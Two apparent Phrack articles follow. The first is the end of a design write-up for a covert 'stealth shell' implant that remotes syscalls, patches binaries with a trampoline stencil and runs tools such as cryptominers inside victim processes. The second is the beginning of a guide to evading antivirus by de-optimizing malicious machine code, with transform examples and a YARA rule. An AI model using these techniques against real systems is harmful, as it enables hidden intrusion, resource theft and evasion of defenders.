Enter axon, the monitor component that intercepts syscalls in my implementation of stealth shell. When the kernel receives a syscall from a process, rather than determining and executing the appropriate operation, it instead switches to axon and tells it (roughly), "hey, the program asked me to perform this syscall operation, but you told me to deliver these requests to you, so now it's your responsibility and I'm not going to do anything more with the syscall." axon is now the anointed entity that figures out what to do and when to resume the program.

How do we, the attacker, interact with axon? When we try to interact with a remote resource via a program we're running in the shell (say, for example, `cat /target/etc/passwd`), doing whatever we want to do, axon interrupts the shell, packages the program's request (in this case, open "/etc/passwd") into a message, sends the message to the implant, and waits for the implant's response. Once it receives the implant's response (like "hello here is a file descriptor number representing the file you asked me to open"), axon resumes our shell â€“ and our shell then continues with the next step of the program (like cat, which will immediately try to read the bytes in the file).

Let's inspect each of these steps to see how axon makes this happen.

axon waits on our host (i.e. our local machine) for the implant's hello message. When it receives the hello message, axon knows the exploit succeeded and the implant is ready to receive commands. Axon spawns a subprocess and asks the kernel to deliver all syscall attempts from the subprocess to axon. Inside the local subprocess, it execs bash, which will become our running stealth shell. bash begins its normal startup process, executing as intendedâ€¦ until it tries to perform a syscall.

This (local) bash process tries to perform a syscall operation by sending its request to the local kernel â€“ but the kernel instead is like, "hold up, I gotta hand this over to my new bff axon so they can figure out what to do with it."

In more technical terms, the kernel traps bash's attempt to perform a syscall operation and delivers the trap to axon as a signal. axon examines the syscall request described in the signal and inspects its arguments to decide how to process the syscall.

If the syscall references a path, file descriptor, or network address, axon must select whether it's a local or remote operation â€“ that is, whether the implant on the remote victim machine should perform the operation or if our local machine should instead. The syscall request itself indicates when commands should be performed on the target (i.e. remote victim machine) by one of:

1. A path beginning with the /target/ prefix

2. A relative path referencing files out of /target

3. A network address in the virtual target address range

4. A file descriptor the shell process previously opened against a remote path or network address

We can therefore think of axon as a syscall dispatcher. It examines the incoming syscalls and, based on their arguments, appropriately routes them to the host bearing the associated resource.

For example, if we run `stat /etc/hostname`, axon determines that /etc/hostname is a local path and performs our stat operation locally. If instead we run `stat /target/etc/passwd`, axon determines that /target/etc/passwd is a remote path and runs a stat /etc/passwd operation remotely by asking the implant to perform the operation on our behalf. This orchestration powers our distributed system.

Let's go a layer deeper, starting with local operations (since that reflects the simpler path axon can take). If the syscall request doesn't have any of the indicators of a remote resource described above, axon calls back into the kernel and requests the exact same syscall operation the subprocess initially requested. When the syscall completes, axon delivers the results to the subprocess and resumes the subprocess's execution. In replaying the syscall request it received, axon behaves as a "manipulator in the middle" between the running shell process and our local kernel.

What if we ask the shell to interact by specifying one of the "plz perform on the victim machine" indicators? For remote operations, axon translates the resulting syscall operation to the equivalent command the implant should execute on the target â€“ and respects compatibility with the target's operating system (like translating a Linux open syscall to a Windows CreateFileEx function call). axon then serializes this translated command into a sequence of bytes representing it, sends the serialized bytes over the network socket (the socket shared with the implant), and waits for the implant to send a response indicating it executed the command.

axon's message wakes the remote implant running on our target (it rests in an idle state while awaiting our signal to perform some remote operations). The implant accepts axon's serialized bytes, deserializes our command into a local buffer, and performs axon's requested syscall. When the syscall completes, the implant serializes the result â€“ including any mutated data â€“ into a sequence of bytes representing it. It then sends these serialized bytes back over the network as a response to axon, before waiting for further commands to perform.

Upon receipt, axon first deserializes the response into its constituent components; for example, a response to a read request will include the status of the read syscall, as well as whatever bytes the implant read. Then axon writes any updated data into the subprocess' address space and resumes the bash subprocess, awaiting our additional commands (i.e. syscall requests).

With axon dispatching our commands across the network and the remote implant executing them on the victim's machine, we've covered the basics of syscall remoting. To summarize, we can manipulate the target's file and disk as if they were local files via syscall interception and the implant. We can remotely puppeteer the victim's system using our local (Linux) processes. (In practice, we are subject to many fiddly details since axon must coordinate the simultaneous execution of multiple subprocesses that each possess distinct emulated file descriptor tables.)

We can now treat the remote (victim) system like it's part of our local system; we can restore our dignity when targeting Windows or macOS machines by automagically translating our Linux commands into these foreign tongues. Is that enough? To reasonable people, yes. But we are not reasonable people, are we? We need to treat *both* sides as a unified distributed system to realize the more civilized world of Linux everything everywhere all at once.

Let's now discuss how a stealth shell does just that.

ti esrever dna ti pilf nwod gnaht ym tup I

~~~~~~~~~~~~~~~~~~~~~~~~~~

This section has the same basic goals as the prior section and shares much of the same approach, but runs it backwards and is more extra. Why would we do this? Because sometimes we want to do crimes on the victim's machine but do the not‑crimes on our local machine, like loading libraries or writing log messages to our local disk. The more we can do stuff on our local machine, the more we slink past the defender's gaze.

Consider a crime like cryptomining on the victim's machine. We could:

1. adjust xmrig to be in a big block of shellcode containing all of its libraries and configuration

2. turn off all its logging

3. have it proxy its network activity through the socket connecting the victim and us

4. and mask off any other feature that might lead to our discovery

That is a lot of fiddly, manual work and it would be disastrously easy to slip up â€“ like it writing files onto the victim's disk, trying to activate a GPU the victim doesn't have, or making bitcoin network requests that the victim's security stack should trivially detect. Remember, we are engineers. Like any decent engineer, we should spare ourselves of this tedious labor by wormholing into building tools to handle this automatically instead. And that's precisely what I did.

How can we transplant some of the target operations back to our local machine to suppress noisy side effects? A stealth shell takes the same mechanism that remotes syscalls and applies it in reverse, executing programs inside the remote implant. We call these embedded running programs "picoprocesses" because they're regular Linux programs that each think they're running as a Linux process, when actually they're embedded in the implant running inside another process. These picoprocesses even think they are regular Linux processes when they're running on Windows or macOS.

Are these real processes? What is real? To them they are.

How can picoprocesses be real if our eyes aren't real?

texec is our stealth shell's mechanism for executing entire programs remotely on the victim's computer (loading them inside the implant); texec is short for "target exec" because it execs a program on the target. To picoprocesses, the previous rules about what is local and what is remote are flipped â€“ paths prefixed with /target/ reference local files, with any remaining paths referencing remote files living on our system. This lets programs running as picoprocesses send commands back to our local system so texec (which runs locally on our machine) can perform them.

Note that this also means the target could manipulate our machine if they discover our presence in their systems. In the spirit of Secure by Design, stealth shell makes you opt in by prefixing your commands with our helper program `texec`. (The reference implementation also does some things not described here to detect and limit the effects of target tampering; we recommend carrying out your operations from heavily sandboxed environments).

But that addressable hazard aside, it's just as straightforward for us to run the same syscall interception activities with the roles reversed. Let's explore how.

Offloading syscalls with texec

~~~~~~~~~~~~~~~~~~

How do we intercept syscalls the picoprocess performs without alerting defenders (or, more realistically, SREs) to our presence? To remain concealed, the implant shouldn't launch new processes and shouldn't perform bizarre operations the exploited program wouldn't perform, like attaching a seccomp trap, ptracing a peer thread, or opening /dev/kvm. These options aren't available when the target is Windows or macOS anyway.

Prepare for a journey, because performing these functions under such a restrictive regime requires rather lavish resourcefulness.

With axon, we intercepted syscall events by asking the OS to deliver them to us rather than letting the kernel execute them by default; we automatically routed syscalls referencing /target to the implant on the victim machine (to execute remotely) and let axon handle the other syscalls on our machine (to execute locally).

texec takes a different approach to syscall interception: texec creates a virtual remote process by puppeteering the implant into creating and subsequently executing a Linux program inside the implant's address space as a picoprocess. texec analyzes programs just‑in‑time as we request them and replaces any syscall instructions with a jump to its own handler that emulates the syscall. In contrast to axon, texec sends any syscalls referencing /target to the implant (to execute *locally*) and the rest to texec running on our machine (to execute *remotely*).

Let's tease out this trick, starting with the initial stages of remote program execution.

texec begins by mapping a small runtime into the target's address space. It requests the implant call mmap or VirtualAllocEx to reserve some memory for the runtime and pokes the runtime's contents into memory. The runtime includes all the facilities texec needs to receive syscall requests, dispatch syscalls remotely to the attacker's host (a reversal of axon's role), dispatch them locally on the victim's machine, and manage a virtual file descriptor table.

With the runtime mapped into the victim process' memory, texec proceeds to the next phase: running our naughty program of choice inside the implant. For example, if we enter `texec /bin/xmrig`, we want texec to run the xmrig binary on the target so we can convert the victim's computational resources into coins. texec first resolves and maps the main binary into local memory, then pokes it into remote memory by calling mmap or VirtualAllocEx again. If the main binary requires an ELF interpreter, as most do, texec maps the interpreter into memory, too.

Once texec loads our binaries in local memory and in the remote implant, it just‑in‑time analyzes the local copy of the binaries' .text sections for syscall instructions. x86_64 systems represent syscall instructions with the two‑byte "0f 05" sequence. For each syscall instruction texec encounters, it prepares a detours‑style patch by analyzing the nearby instructions and relocating enough of them to insert

a jmp (e8 xx xx xx xx) instruction.

texec replaces (i.e. "patches") each relocated syscall instruction with a jump to a trampoline containing:

1. relocated instructions from before the original syscall instruction 2. instructions that spill and restore the syscall arguments

3. a call into the runtime texec mapped earlier

4. any relocated instructions from after the original syscall instruction 5. and a jump back to the original instruction sequence.

Here's the stencil for the trampoline:

```

# relocated prefix instructions

{relocated_prefix}

# save syscall number

mov %rax, %r11

# save flags

lahf

seto %al

# skip red zone

sub $128, %rsp

# spill registers to stack

push %rax

push %r9

push %r8

push %r10

push %rdx

push %rsi

push %rdi

push %r11

# move address of spilled registers into first arg

mov %rsp, %rdi

# call the runtime's syscall handler

movabs ${runtime handler address}, %rcx

call *%rcx

# restore registers from stack

pop %rcx

pop %rdi

pop %rsi

pop %rdx

pop %r10

pop %r8

pop %r9

pop %rax

# restore previous stack

add $128, %rsp

# restore flags

add $0xff, %al

sahf

# move result into rax

mov %rcx, %rax

# relocated suffix instructions

{relocated_suffix}

# resume patched function

jmp {resume_address}

```

Once texec prepares all the patches for the program's syscall instructions, it remotely pokes each patch into place via the implant. It also must correct each segment's memory protection so the victim's system will allow the instructions to execute on the victim's CPU; for the parts of the picoprocess that contain instructions, texec marks them as executable.

With that final step of poking patches into memory (and ensuring the patched instructions can execute), we've tampered with the binary, replacing its syscall instructions with jumps to trampolines. But we still need to launch the picoprocess to achieve the dream of running a Linux program inside the implant.

For these last few steps before the picoprocess launches, texec constructs a main thread stack for the picoprocess by commanding the implant call mmap or CreateThread.

To match what the Linux kernel would do when executing a new program, the stack needs a description of the arguments and environment variables to launch the picoprocess with. This data's format is called a System V auxiliary vector. texec crafts a SysV auxiliary vector mimicking what a real Linux kernel would produce when executing a program, and pokes the vector into the remote stack it just created.

The last step before launch has texec command the implant to perform a clone syscall or call ResumeThread to start executing the remotely loaded program. The picoprocess now runs in the implant as an embedded thread. Anyone examining the target system in ps, top, or Task Manager would only see an additional thread on the existing process â€“ no suspicious subprocesses, binaries on disk, or program names. texec then waits for commands from the remote picoprocess (running on the victim's machine), just as the implant awaits our local commands.

Meanwhile, the picoprocess runs inside of the implant as a dedicated thread, executing until it reaches its first patched (i.e. replaced) syscall instruction. Remember, we tampered with the syscall instructions so the picoprocess jumps to texec's handler instead. This means that, instead of attempting a syscall, the picoprocess jumps to the designated trampoline and calls the runtime's syscall handler to process what would have been a syscall operation. The runtime determines whether to emulate the program's syscall request locally or perform it remotely (on our machine) by serializing the syscall's arguments, then sends the serialized syscall across the network to the texec process waiting on our machine â€“ similar to what axon performs in the other direction.

The runtime's message wakes the texec running on our machine (it rests in an idle state while awaiting our signal to perform some remote operations). texec accepts the runtime's serialized bytes, reads our command into a local buffer, and performs the runtime's requested syscall. When the syscall completes, the texec serializes the result â€“ including any mutated data â€“ into a network representation. It then sends this serialized representation back over the network as a response to the runtime before waiting for further commands to perform.

Upon receipt, the runtime first deserializes the response into its constituent components; for example, a response to a read request will include the status of the read syscall, as well as whatever bytes the implant read. Then the runtime writes any updated data into the picoprocess's address space and returns into the trampoline to resume the picoprocess, awaiting its additional commands (i.e. syscall requests).

This may sound familiar â€” it's the exact series of events as earlier when we discussed axon, but reversing the direction of traffic across the network socket.

Now that texec can load programs remotely and process their syscall requests, we can run programs and access either side's data on both "hemispheres" of our unified distributed system. With the implant + axon + texec + texec's runtime, we can access our local and our victim's remote resources and command them as we please. We have one distributed system spread across a network, hidden from the victim system's operator.

Multi‑platform support

~~~~~~~~~~~~~~

We've definitely skimmed over multi‑OS support as if it were trivial until this point. As foreshadowed, we must translate Linux syscalls into the remote system's OS interface if we want to target multiple operating systems. Executives don't seem to care about hacks unless they're on a machine they use â€“ which is almost always Windows â€“ so our tooling doesn't suffice until we support the big three.

What do we need to support each major OS?

Linux targets are straightforward: the target shares the same syscall interface, though potentially an older version with fewer features. Enterprises tend to run older LTS systems. The only hazard we face is copying input and output data correctly.

macOS targets have many syscalls similar to Linux, albeit with different numeric IDs and calling conventions. Some Linux syscalls, however, have different data layouts in their macOS equivalent or are simply unavailable. To remotely perform a macOS syscall, a stealth shell must translate between the two ABIs.

For Windows targets, the entire API is different; the design distinctly differs from UNIX operating systems. CreateFileEx is similar to open, and the HANDLEs it produces can be thought of as file descriptors by another name, but all the other syscalls stymie direct translation. If you want to extend stealth shell support to Windows targets, be prepared to invest heavily into your Windows translation layer. It took a hundred or so hours as a humble software engineer, so surely your leet attack team can build it without sacrificing their sanity in the pursuit of perfection. Perhaps read cygwin for inspiration.

Conclusion

~~~~~~~~~

Stealth shells make remote interactive shells even more flexible while remaining as perniciously sneaky as custom in‑memory exploits. There is no tradeoff: we can be both quiet and nimble. It extends the practice of syscall remoting so we can enjoy the comfort and familiarity of the Linux ecosystem while maximizing pwnage possibilities on target systems, regardless of OS.

Our stealth shell uses an implant and two interrelated syscall dispatchers â€“ axon and texec â€“ to interrupt syscalls and redirect them for execution on the appropriate resource (either the victim's machine or our own). axon coordinates and dispatches the syscall activity of a tree of subprocesses, bridging two systems together into one interactive environment and minimizing side effects on the victim's system. texec instantiates and coordinates the activity of a remote picoprocess, converting regular Linux programs into spooky execution at a distance.

Stealth shells are just as cloaked to defenders as vastly more cumbersome custom in‑memory exploits (and are certainly as sneaky as prior syscall remoting approaches). If a hyperfocused SRE can detect an in‑memory implant, they can detect stealth shell's in‑memory implant. If they can detect an in‑memory implant loading new/more code, they can detect texec loading a picoprocess.

With that said, we can layer a stealth shell with other evasive techniques â€“ such as tunneling through DNS, reusing an existing socket, and, with additional effort, mimicking an existing protocol like HTTP. We will leave that as an exercise for the reader.

Exploits get most of the hype, but toolchains and workflows are what make or break real attack operations. Plus, we deserve civilized workflows that don't require us to cosplay as Windows sysadmin. I hope this inspires other obsessive systems nerds to brainstorm what other tools need a refresh to ferry them into the modern ops era.

~~~~~~~~~~~~~~

Greetz and the deepest thanks to &void; who pushed me to publish this paper and employed their writing wizardry to make it readable.

begin 644 stealth‑shell.tar.gz M'XL(`,_)=V8"`^Q]:UL;.;+P?L6_0L/,)G9B$VP(DX$A>QQP$N]P.S8DF3.;

end

Evasion by De-optimization

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x0F of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Evasion by De‑optimization ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Ege BALCI ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of Contents

1 ‑ Intro

2 ‑ Current A.V. Evasion Challenges

3 ‑ Prior Work

4 ‑ Transforming Machine Code

5 ‑ Transform Gadgets

5.1 ‑ Arithmetic Partitioning

5.2 ‑ Logical Inverse

5.3 ‑ Logical Partitioning

5.4 ‑ Offset Mutation

5.5 ‑ Register Swapping

6 ‑ Address Realignments

7 ‑ Known Limitations

8 ‑ Conclusion

9 ‑ References

‑‑[ 1 ‑ Intro

Bypassing security products is a very important part of many offensive security engagements. The majority of the current AV evasion techniques used in various evasion tools, such as packers, encoders, and obfuscators, are heavily dependent on the use of self‑modifying code running on RWE memory regions. Considering the current state of security products, such evasion attempts are easily detected by memory analysis tools such as Moneta[1] and Pe‑sieve[2]. This study introduces a new approach to code obfuscation with the use of machine code de‑optimization.

In this study, we will delve into how we can use certain mathematical approaches, such as arithmetic partitioning, logical inverse, polynomial transformation, and logical partitioning, to design a generic formula that can be applied to many machine code instructions for transforming / mutating or de‑optimizing the bytes of the target program without creating any recognizable patterns. Another objective of this study is to give a step‑by‑step guide for implementing a machine code de‑optimizer tool that uses these methods to bypass pattern‑based detection.

Such tools have already been implemented, and will be shared[3] as an open‑source project with references to this article.

‑‑[ 2 ‑ Current A.V. Evasion Challenges

The term "security product" represents a wide variety of software nowadays. The inner workings of such software may differ, but the main purpose is always to detect some type of malicious asset by recognizing certain patterns. Such indicators can originate from a piece of code, data, a behavior log, or even from the entropy of the program. The main goal of this study is to introduce a new way of obfuscating malicious code. So, we will only focus on evading malicious CODE patterns.

Arguably, the most popular way of hiding malicious code is by using encoders. Encoding a piece of machine code can be considered the most primitive way of eliminating malicious code patterns. Because of the current security standards, most encoders are not very effective at bypassing security products on their own. Instead, they're being used in more complex evasion software such as packers, crypters, obfuscators, command‑and‑control, and exploitation frameworks. Most encoders work by encoding the malicious code by applying some arithmetic or logical operations to the bytes. After such transformation, encoder software needs to add a decoding routine at the beginning of the encoded payload to fix the bytes before executing the actual malicious code.

+‑‑‑‑‑‑‑‑‑‑‑+

| decoder | <‑‑‑ Decodes the original payload.

+‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑+

| | | |

| malicious | | |

| code | ===> | enc‑code |

| | | |

| | | |

+‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑+

There are three critical issues with this approach. The first issue is the effectiveness of the encoding algorithm. If the malicious code is being encoded by just a single byte of logical/arithmetic operation, the security products can also detect the encoded form of the malicious code.[4] In order to make the malicious code unrecognizable, the encoder needs to use more complex encoding algorithms, such as primitive cryptographic ciphers or at least multi‑byte encoding schemes.

Naturally, such complex encoding algorithms require larger decoder routines. This brings us to the second critical issue, which is the visibility of the decoder routine. Most security products can easily detect the existence of such code at the beginning of an encoded blob by using static detection rules[5]. There are some new‑generation encoder software that tries to obfuscate and hide the decoder code by also encoding the decoder routine, reducing its size, and obfuscating it with garbage instructions.[6] Such designs produce promising results, but it does not solve the final and most crucial issue.

In the end, all of the encoder software produces a piece of self‑modifying code. This means the resulting payload must be running inside a Read‑Write‑Execute (RWE) memory region. Such a scenario can easily be considered a suspicious indicator.

‑‑[ 3 ‑ Prior Work

To solve the aforementioned issues, security researchers created several machine code obfuscators.[7][8] The purpose of these obfuscators is to transform certain machine code instructions with certain rules for bypassing security products without the need for self‑modifying code.

These obfuscators analyze the instructions of the given binary and mutate them to some other instruction(s). The following lines contain a simple example. The original instruction loads the 0xDEAD value into the RCX register;

lea rcx, [0xDEAD] ‑‑‑‑‑‑+‑> lea rcx, [1CE54]

+‑> sub rcx, EFA7

The obfuscator program creates the above instruction sequence. After executing two of the newly generated instructions, the resulting value inside RCX will be the same. The assembled bytes of the newly generated sequence are different enough to bypass static detection rules. But there is one problem here. The final SUB instruction of the generated sequence modifies the condition flags.

Depending on the code, this could affect the control flow of the program. To avoid such conditions, these obfuscator programs also add save/restore instructions to the generated sequence to preserve all the register values including the condition flags. So, the final output of the program will be;

pushf ; ‑‑‑‑‑‑‑‑‑‑‑‑‑‑> Save condition flags to stack. lea rcx, [1CE54]

sub rcx, EFA7

popf ; ‑‑‑‑‑‑‑‑‑‑‑‑‑‑> Restore condition flags from the stack.

If you analyze the final instruction sequence, you will realize that such an order of instructions is very uncommon, and wouldn't be generated from a compiler under normal circumstances. It means that this method of obfuscating instructions can be detected by security products with static detection rules for these techniques.

The following simple Yara rule can be used for detecting all the sequences generated by the LEA transform gadget of the Alcatraz binary obfuscator.

rule Alcatraz_LEA_Transform {

strings:

// pushf > 66 9c

// lea ?, [?] > 48 8d ?? ?? ?? ?? ??

// sub ?, ? > 48 81 ?? ?? ?? ?? ??

// popf > 66 9d

$lea_transform = { 66 9c 48 8d ?? ?? ?? ?? ?? 48 81 ?? ?? ?? ?? ?? 66 9d } condition:

$lea_transform

}

This rule can easily be used by security products because it has a very low false‑positive rate due to the unusual order of the generated instruction sequence. Another shortcoming of currently available machine code obfuscators is using specific transform logic for specific instructions. There are around 1503 instructions available for the current Intel x86 instruction set. Designing specific transform gadgets for each of these instructions can be considered challenging and time‑consuming. One of the main goals of this study is to create math‑based generic algorithms that can be applied to many instructions at once.

‑‑[ 4 ‑ Transforming Machine Code

To effectively transform x86 machine code, we need a deep understanding of x86 architecture and the instruction set. In the x86 architecture, instructions can take up to five operands. We can divide the types of operands into three main categories. An operand can either be a register, immediate, or memory. These operand types have their subcategories, but for the sake of simplicity, we can skip this for now.

Depending on the mnemonic, an x86 instruction can have all the combinations of the mentioned operand types. As such, there are many ways to transform x86 instructions. All the compiler toolchains do this all the time during the optimization phase[9].

These optimizations can be as complex as reducing a long loop condition to a brief branch operation or re‑encoding a single instruction to a much shorter sequence of bytes, effectively making the program smaller and faster. The following example shows that there are multiple ways to encode certain instructions in x86 architecture.

add al,10h ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> \x04\x10

add al,10h ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> \x80\xC0\x10

adc al,0DCh ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> \x14\xDC

adc al,0DCh ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> \x80\xD0\xDC

sub al,0A0h ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> \x2C\xA0

sub al,0A0h ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> \x80\xE8\xA0

sub eax,19930520h ‑‑‑‑‑‑‑‑‑‑‑‑‑> \x2D\x20\x05\x93\x19 sub eax,19930520h ‑‑‑‑‑‑‑‑‑‑‑‑‑> \x81\xE8\x20\x05\x93\x19

sbb al,0Ch ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> \x1C\x0C

sbb al,0Ch ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> \x80\xD8\x0C

sbb rax,221133h ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> \x48\x1D\x33\x11\x22\x00 sbb rax,221133h ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> \x48\x81\xD8\x33\x11\x22\x00

Each of the instruction pairs does the exact same thing, with different corresponding bytes. This is usually done automatically by the compiler toolchains. Unfortunately, this type of shortening can only be applied to certain instructions. Also, once you analyze the produced bytes, you'll see that only the beginning part (mnemonic code) of the bytes are changing, the rest of the bytes representing the operand values are exactly the same. This is not good in terms of detection, because most detection rules focus on the operand values. These are the reasons why we need to focus on more complex ways of de‑optimization.

Most modern compiler toolchains such as LLVM, convert the code into intermediate representations (IR) for applying complex optimizations. IR languages make it very easy to manipulate the code and apply certain simplifications independent from the target platform. At first glance, using LLVM sounds very logical for achieving our objective in this study; it already has various engines, libraries, and tooling built into the framework for code manipulation. Unfortunately, this is not the case.

After getting into the endless rabbit hole of LLVM's inner workings, you realize that IR‑based optimizations are leaving behind certain patterns in the code[10]. When the code is transformed into IR, whether from source code or binary lifting[11], you lose control of individual instructions. Because IR‑based optimizations mainly focus on simplifying and shortening well‑structured functions instead of raw pieces of code, it makes it hard to eradicate certain patterns. Maybe highly skilled LLVM wizards can hack their way around these limitations, but we will go with manual disassembly using the iced_x86[12] rust disassembly library in this study. It will help us thoroughly analyze the binary code and give us enough control over the individual instructions.

Since our primary objective is to evade security products, while de‑optimizing the instructions, we also need to be sure that the generated instruction sequence is also commonly generated by regular compiler toolchains. This way, our obfuscated code can blend in with the benign code, and rule‑based detection will not be possible against our transform gadgets.

In order to determine how common the generated instructions are, we can write specific Yara rules for our transform gadgets, and run the rules on a large dataset. For this study, ~300 GB dataset consisting of executable sections of various well‑known benign EXE, ELF, SO, and DLL files has been curated. We will simply run our Yara rules on this dataset and check the false positive rate.

‑‑[ 5 ‑ Transform Gadgets

Now, we need a way of transforming individual instructions, while maintaining the overall functionality of the program. In order to achieve this, we will take advantage of basic math and numbers theory.

Most instructions in the x86 instruction set can be mapped to equivalent mathematical operands. For example, the "ADD" instruction can be directly translated to the addition operand "+". The following table shows various translation examples:

MOV, PUSH, POP, LEA ‑‑‑> =

CMP, SUB, SBB ‑‑‑> ‑

ADD, ADC ‑‑‑> +

IMUL, MUL ‑‑‑> *

IDIV, DIV ‑‑‑> /

TEST, AND ‑‑‑> &

OR ‑‑‑> |

XOR ‑‑‑> ^

SHL ‑‑‑> <<

SHR ‑‑‑> >>

NOT ‑‑‑> '

With this approach, we can easily represent basic x86 instructions as mathematical equations. For example, "MOV EAX, 0x01" can be represented as "x = 1". A bit more complex example could be;

MOV ECX,8 ) ‑‑‑‑‑‑‑‑‑‑‑‑‑> z = 8 )

SHL EAX,2 ) ‑‑‑‑‑‑‑‑‑‑‑‑‑> 4x )

SHL EBX,1 ) ‑‑‑‑‑‑‑‑‑‑‑‑‑> 2y ) ‑‑‑> ((4x+2y+8)**2) ADD EAX,EBX ) ‑‑‑‑‑‑‑‑‑‑‑‑‑> 4x+2y )

ADD EAX,ECX ) ‑‑‑‑‑‑‑‑‑‑‑‑‑> 4x+2y+8 )

IMUL EAX,EAX ) ‑‑‑‑‑‑‑‑‑‑‑‑‑> (4x+2y+8)^2 )

When dealing with code sequences that only contain operations of addition, subtraction, multiplication, and positive‑integer powers of variables, formed expressions can be transformed using polynomial transformation tricks. Similar "Data‑flow optimization" tricks are being used by compiler toolchains during code optimizations[9], but we can also leverage the same principles for infinitely expanding the expressions. In the case of this example, the above expression can be extended to:

(16x^2 + 16xy + 64x + 4y^2 + 32y + 64)

When this expression is transformed back into assembly code, you'll see that multiple instructions are changed, new ones are added, and some disappear. The only problem for us is that some instructions stay exactly the same, which may still trigger detection. In order to prevent this, we need to use other mathematical methods on a more individual level.

In the following sections, we'll analyze five different transform gadgets that will be targeting specific instruction groups.

‑‑[ 5.1 ‑ Arithmetic Partitioning

Our first transform gadget will target all the arithmetic instructions with an immediate type operand, such as MOV, ADD, SUB, PUSH, POP, etc.

Consider the following example; "ADD EAX, 0x10"

This simple ADD instruction can be considered the addition (+) operator in the expression "X + 16". This expression can be infinitely extended using the arithmetic partitioning method, such as:

(X + 16) = (X + 5 ‑ 4 + 2 + 13)

When we encounter such instructions, we can simply randomize the immediate value and add an extra instruction for fixing it. Based on the randomly generated immediate value, we need to choose between the original mnemonic, or the arithmetic inverse of it.

In order to keep the generated code under the radar, only one level of partitioning (additional fix instruction) will suffice. Applying many arithmetic operations to a single destination operand might create a recognizable pattern. Here are some other examples:

mov edi,0C000008Eh ‑‑‑+‑> mov edi,0C738EE04h

+‑> sub edi,738ED76h

add al,10h ‑‑‑‑‑‑‑‑‑‑‑‑+‑> add al,0D8h

+‑> sub al,0C8h

sub esi,0A0h ‑‑‑‑‑‑‑‑‑‑+‑> sub esi,5062F20Ch

+‑> add esi,5062F16Ch

push 0AABBh ‑‑‑‑‑‑‑‑‑‑‑+‑> push 7F08C11Dh

+‑> sub dword ptr [esp],7F081662h

Upon testing how frequent the generated code sequences are on our sample dataset, we see that ~38% of the compiler‑generated sections contain such instruction sequences. This means that almost one of every three compiled binary files contains these instructions, which makes it very hard to distinguish.

‑‑[ 5.2 ‑ Logical Inverse

This transform gadget will target half of the logical operation instructions with an immediate operand such as AND, OR, or XOR.

Consider the following example; "XOR R10, 0x10" This simple XOR instruction can be written as "X ^ 16". This expression can be transformed using the properties of the logical inverse, such as;

(X ^ 16) = (X' ^ '16) = (X' ^ ‑17)

Once we encounter such instructions, we can simply transform the instructions by taking the inverse of the immediate value and adding an additional NOT instruction for taking the inverse of the destination operand. The same logic can also be applied to other logical operands.

"AND AL, 0x10" instructions can be expressed as "X & 16". Using the same logical inverse trick, we can transform this expression into;

(X & 16) = (X' | 16') = (X' | ‑17)

For the case of AND and OR mnemonics, the destination operand needs to be restored with an additional NOT instruction at the end. Here are some other examples:

xor r10d,49656E69h ‑‑‑+‑> not r10d

+‑> xor r10d,0B69A9196h

+‑> not al

and al,1 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑> or al,0FEh

+‑> not al

+‑> not edx

or edx,300h ‑‑‑‑‑‑‑‑‑‑‑+‑> and edx,0FFFFFCFFh

+‑> not edx

As mentioned earlier in this article, pattern‑based detection rules written for detecting malicious "code" mostly target the immediate values on the instructions. So, using this simple logical inverse trick will sufficiently mutate the immediate value without creating any recognizable patterns.

After testing the frequency of the generated code sequence, we see that ~%10 of the compiler‑generated sections contain such instruction sequences. This is high enough that any detection rule for this specific transform won't be used by AV vendors due to the potential for high false positives.

‑‑[ 5.3 ‑ Logical Partitioning

This transform gadget will target the remaining half of the logical operation instructions with an immediate operand such as ROL, ROR, SHL, or SHR. In the case of shift instructions, we can split the shift operation into two parts.

Consider the following example; "SHL AL, 0x05".

This instruction can be split into "SHL AL, 0x2" and "SHL AL, 0x3". The resulting AL value and the condition flags will always be the same. In the case of roll instructions, there is a simpler way to mutate the immediate value.

The destination operand of these logical operations is either a register, or a memory with a defined size. Based on the destination operand size, the roll immediate value can be changed accordingly.

Consider the following example: "ROL AL, 0x01"

This instruction will roll the bits of the AL register once to the left. Since AL is an 8‑bit register, the "ROL AL, 0x09" instruction will have the exact same effect. Roll transforms are very effective for keeping the mutated code size low since we don't need extra instructions.

Here are some other examples:

shr rbx,10h ‑‑‑‑‑‑‑‑‑‑‑‑‑+‑> shr rbx,8

+‑> shr rbx,8

shl qword ptr [ecx],20h ‑+‑> shl qword ptr [ecx],10h

+‑> shl qword ptr [ecx],10h

ror eax,0Ah ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> ror eax,4Ah

rol rcx,31h ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> rol rcx,0B1h

